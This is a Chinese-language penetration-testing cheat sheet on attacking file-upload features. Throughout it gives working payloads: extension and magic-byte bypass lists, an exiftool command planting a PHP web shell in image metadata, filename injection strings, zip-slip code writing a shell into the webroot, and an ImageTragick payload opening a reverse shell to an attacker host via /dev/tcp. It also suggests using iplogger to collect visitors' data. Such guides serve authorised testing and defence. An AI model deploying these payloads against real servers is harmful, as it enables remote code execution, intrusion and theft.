目录导航
文件上传通用方法
其他有用的扩展:
PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc
ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
Coldfusion: .cfm, .cfml, .cfc, .dbm
Flash: .swf
Perl: .pl, .cgi
Erlang Yaws Web Server: .yaws
绕过文件扩展名检查
- 如果他们申请,在检查的前一个后缀。还可以使用一些大写字母对它们进行测试:pHp,.pHP5,.PhAr …
- 检查在执行扩展之前添加有效后缀(也请使用以前的扩展):
- file.png.php
- file.png.Php5
- 尝试在末尾添加特殊字符。您可以使用Burp暴力破解所有ascii和Unicode字符。(请注意,您也可以尝试使用之前提出的扩展名)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php….
- file.pHp5 ….
- 尝试使用诸如使扩展倍增或在扩展之间添加垃圾数据(空字节)之类的技术绕过欺骗服务器端扩展解析器的保护。您还可以使用以前的扩展来准备更好的有效负载。
- file.png.php
- file.png.pHp5
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- flile.php垃圾数据123png
- 在先前的检查中添加另一层扩展:
- file.png.jpg.php
- file.php%00.png%00.jpg
- 尝试将exec扩展名放在有效扩展名之前,然后祈祷以免服务器配置错误。**(可用于利用Apache错误配置,其中扩展名为.php的任何东西,但不一定以.php结尾的代码都将执行代码):
- 例如:file.php.png
- 在Windows中使用NTFS备用数据流(ADS)。在这种情况下,将在禁止的扩展名之后和允许的扩展名之前插入一个冒号“:”。结果,将在服务器上创建一个带有禁止扩展名的空文件(例如“ file.asax:.jpg”)。以后可以使用其他技术(例如,使用短文件名)来编辑此文件。“ :: $ data ”模式也可以用于创建非空文件。因此,在此模式后添加点字符也可能有助于绕过进一步的限制(例如“ file.asp :: $ data”。)
绕过内容类型和幻数
- 旁路通过设置内容类型检查值的的内容类型报头到:image/ PNG,text/plain , application/octet-stream
- 通过在文件的开头添加真实图像的字节来绕过幻数检查(混淆file命令)。或在元数据中引入shell:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
- 也有可能只是在文件中检查了魔术字节,您可以在文件中的任何位置设置它们。
其他要检查的技巧
- 查找一个漏洞以重命名已经上传的文件(以更改扩展名)。
- 查找一个本地文件包含漏洞以执行后门程序。
- 可能的信息披露:
- 上传几次(并在同一时间)同一个文件&同名
- 上传文件的名称一个的文件或文件夹是已经存在
- 上传名称为“.”,“ ..”或“ …”的文件。例如,在Windows的Apache中,如果应用程序将上载的文件保存在“ /www/uploads/”目录中,则“。” filename将在“ /www/”目录中创建一个名为“ uploads”的文件。
- 上传可能不会被删除容易比如一个文件:“…… .JPG”在NTFS。(Windows)
- 在Windows中上载带有无效字符(例如名称)的文件。|<>*?” (Windows)
- 在Windows中使用保留(禁止)名称上传文件,例如CON,PRN,AUX,NUL,COM1,COM2,COM3,COM4,COM5,COM6,COM7,COM8,COM9,LPT1,LPT2,LPT3,LPT4,LPT5,LPT6 ,LPT7,LPT8和LPT9。
- 还尝试上传一个可执行文件(.exe)或.html(不太可疑),当受害者不小心打开它们时,它们将执行代码。
特殊的扩展技巧
如果您试图将文件上传到PHP服务器,请查看.htaccess技巧以执行代码。 如果您试图将文件上传到ASP服务器,请查看.config技巧以执行代码。
这些文件类似于Java的,但适用于php,可以像php文件一样使用(用php执行它,或将其包含在脚本中…).phar
.jar
该扩展有时用于仅用于导入文件的php文件,因此,在某些时候,可能有人允许该扩展被执行。.inc
wget文件上传/SSRF技巧
在某些情况下,你可能会发现一个服务器使用来下载文件,你可以指出的URL。在这些情况下,代码可能正在检查下载文件的扩展名是否在白名单内,以确保仅允许文件被下载。但是,可以绕过此检查。在Linux中,文件名 的最大长度为255,但是wget将文件名截断为236个字符。你可以下载一个叫“A” * 232 +“ PHP的‘+’.GIF”的文件,这个文件名会绕过的检查wget
(如本例中的“ .gif”是有效的扩展名),但是wget会将文件重命名为“ A” * 232 +“.php”。
#创建文件和HTTP服务器
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#下载文件
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
请注意,您可能想绕过此检查的另一个选项是使HTTP服务器重定向到其他文件,因此初始URL将绕过该检查,然后wget将使用新名称下载重定向的文件。除非将wget与参数一起使用,否则这将无法工作,因为wget将下载重定向的页面,并带有原始URL中指示的文件名。 --trust-server-names
其他资源
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
- https://github.com/modzero/mod0BurpUploadScanner
- https://github.com/almandin/fuxploider
从文件上传到其他漏洞
- 将文件名设置为 ../../../tmp/lol.png 并尝试实现路径遍历
- 将文件名设置为 sleep(10)– -.jpg ,您也许可以实现SQL注入
.
- 设置文件名为 <svg onload=alert(document.comain)>来实现XSS
- 设置文件名为 ; sleep 10; 以测试一些命令注入(更多
; sleep 10;
命令注入技巧在此处) - **** XSS图像(SVG)文件上传
- JS文件上传+ XSS =服务工人的剥削
- **** SVE中的XXE上传****
- ****打开重定向通过上传SVG文件
- 著名ImageTrick漏洞
- 如果可以指示Web服务器从URL捕获图像,则可以尝试滥用SSRF。如果该图像将被保存在一些公共网站,你也可能表示由URL https://iplogger.org/invisible/和窃取每一位来访者的信息。
- XXE和CORS旁路与PDF-的Adobe上传
- 特制的PDF到XSS:下一页介绍了如何注入PDF数据以获得JS执行。如果可以上传PDF,则可以准备一些PDF,这些PDF将按照给定的指示执行任意JS。

这是您可以上传(来自link)可以实现的十大事情:
- ASP / ASPX / PHP5 / PHP / PHP3:Webshell / RCE
- SVG:存储的XSS / SSRF / XXE
- GIF:存储的XSS / SSRF
- CSV:CSV注入
- XML:XXE
- AVI:LFI / SSRF
- HTML / JS:HTML注入/ XSS /打开重定向
- PNG / JPEG:像素泛洪攻击(DoS)
- ZIP:通过LFI / DoS进行RCE
- PDF / PPTX:SSRF /盲XXE
压缩文件自动解压上传
如果您可以上传将在服务器内部解压缩的ZIP,则可以执行以下两项操作:
符号链接
上载包含软链接的链接到其他文件,然后访问解压缩的文件,您将访问链接的文件:
ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt
在不同的文件夹中解压缩
解压缩的文件将在意外的文件夹中创建。
可以轻易地假设此设置可以通过恶意文件上传保护其免受操作系统级命令的执行,但不幸的是,事实并非如此。由于ZIP存档格式支持分层压缩,并且我们还可以引用更高级别的目录,因此可以通过滥用目标应用程序的解压缩功能来从安全上传目录中退出。
一个自动利用创建此类型的文件可以在这里找到:https://github.com/ptoomey3/evilarc
python evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
一些python代码可创建恶意zip:
#!/usr/bin/python import zipfile from cStringIO import StringIO def create_zip(): f = StringIO() z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED) z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>') z.writestr('otherfile.xml', 'Content of the file') z.close() zip = open('poc.zip','wb') zip.write(f.getvalue()) zip.close() create_zip()
为了实现远程命令执行,我采取了以下步骤:
- 创建一个PHP shell:
<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); }?>
- 使用“文件喷涂(file spraying)”并创建压缩的zip文件:
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# ls *.php simple-backdoor.php xxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php xxAcmd.php xxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php xxAxxAcmd.php xxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAcmd.php root@s2crew:/tmp# zip cmd.zip xx*.php adding: xxAcmd.php (deflated 40%) adding: xxAxxAcmd.php (deflated 40%) adding: xxAxxAxxAcmd.php (deflated 40%) adding: xxAxxAxxAxxAcmd.php (deflated 40%) adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%) adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%) adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%) adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%) adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%) adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%) root@s2crew:/tmp#
3.使用hexeditor或vi,将“ xxA”更改为“ ../”,我使用vi:
:set modifiable :%s/xxA/..\//g :x!
完毕!
仅剩下一个步骤:上传ZIP文件,然后让应用解压缩!如果成功,并且Web服务器具有足够的特权来写入目录,则系统上将有一个简单的OS命令执行shell:

参考:https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
ImageTragic
上载带有图像扩展名的内容以利用此漏洞(ImageMagick,7.0.1-1)
push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' pop graphic-context
在PNG上嵌入PHP Shell
将Web Shell放入IDAT块的主要原因是它具有绕过调整大小和重新采样操作的能力-PHP-GD包含两个函数来执行imagecopyresize和imagecopyresampled。
阅读这篇文章:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
多种语言文件
在安全上下文中,polyglots是多种不同文件类型的有效形式的文件。例如,GIFAR既是GIF也是RAR文件。还有一些文件可以是GIF和JS,也可以是PPT和JS,等等。
多语言文件通常用于绕过基于文件类型的保护。许多允许用户上载文件的应用程序仅允许上载某些类型的文件,例如JPEG,GIF,DOC,以防止用户上载潜在危险的文件,例如JS文件,PHP文件或Phar文件。
这有助于上传与几种不同格式的格式兼容的文件。它可以让您上传看起来像JPEG的PHAR文件(PHp存档),但是可能您仍然需要有效的扩展名,并且如果上传功能不允许,那将无济于事。
:在更多信息https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a以前的LFI-Linux列表下一个PDF上传-XXE和CORS绕过